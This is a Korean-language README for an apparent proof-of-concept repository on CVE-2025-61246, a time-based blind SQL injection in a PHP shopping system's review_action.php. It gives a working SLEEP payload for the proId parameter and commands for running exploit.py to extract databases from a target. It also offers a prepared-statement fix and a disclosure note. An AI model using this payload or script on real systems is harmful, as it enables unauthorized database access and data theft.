
CVE-2025-61246: PHP 온라인 쇼핑 시스템의 SQL Injection 취약점 PoC
이 저장소는 Online Shopping System PHP 애플리케이션에서 발견된 치명적인 SQL 인젝션 취약점인 CVE-2025-61246에 대한 개념 증명(PoC)을 포함합니다. 이 취약점은 인증되지 않은 공격자가 시간 기반 블라인드 SQL 인젝션을 통해 임의의 SQL 명령을 실행할 수 있게 합니다.
/online-shopping-system-php-master/review_action.phpproId이 취약점은 review_action.php 엔드포인트에 존재하며, proId 매개변수의 사용자 입력이 적절한 검증이나 매개변수화된 쿼리 없이 SQL 쿼리에 직접 포함됩니다. 이를 통해 공격자는 다음과 같은 악의적인 SQL 페이로드를 주입할 수 있습니다:
// Vulnerable code (example)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
공격자는 다음 방법으로 이 취약점을 악용할 수 있습니다:
/online-shopping-system-php-master/review_action.php로 조작된 POST 요청 전송proId 매개변수에 악의적인 SQL 페이로드 포함proId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
이 저장소는 다음을 포함합니다:
exploit.py) - 취약점을 탐지하고 악용하는 Python 스크립트MANUAL_TESTING.md) - 수동 악용을 위한 단계별 지침docker-compose.yml) - 안전한 테스트를 위한 Docker 환경REMEDIATION.md) - 보안 코딩 관행 및 패치Python 3.7+
pip install -r requirements.txt
# Clone the repository
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# Detection only (no exploitation)
python exploit.py --url http://target.com/review_action.php --detect-only
# Extract database name
python exploit.py --url http://target.com/review_action.php --extract-db
# Full exploitation with custom timeout
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# Use proxy for testing
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
이 취약점을 성공적으로 악용하면 다음과 같은 결과가 발생할 수 있습니다:
// Secure implementation using prepared statements
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
자세한 수정 단계는 REMEDIATION.md를 참조하세요.
⚠️ 중요: 본 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 이 정보의 오용에 대한 책임을 지지 않습니다. 테스트 전에 항상 적절한 승인을 받으십시오.
Govind Pratap Singh
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
책임 있는 공개: 보안 취약점을 발견한 경우 공개적으로 공개하기 전에 해당 공급업체에 책임 있게 신고해 주십시오.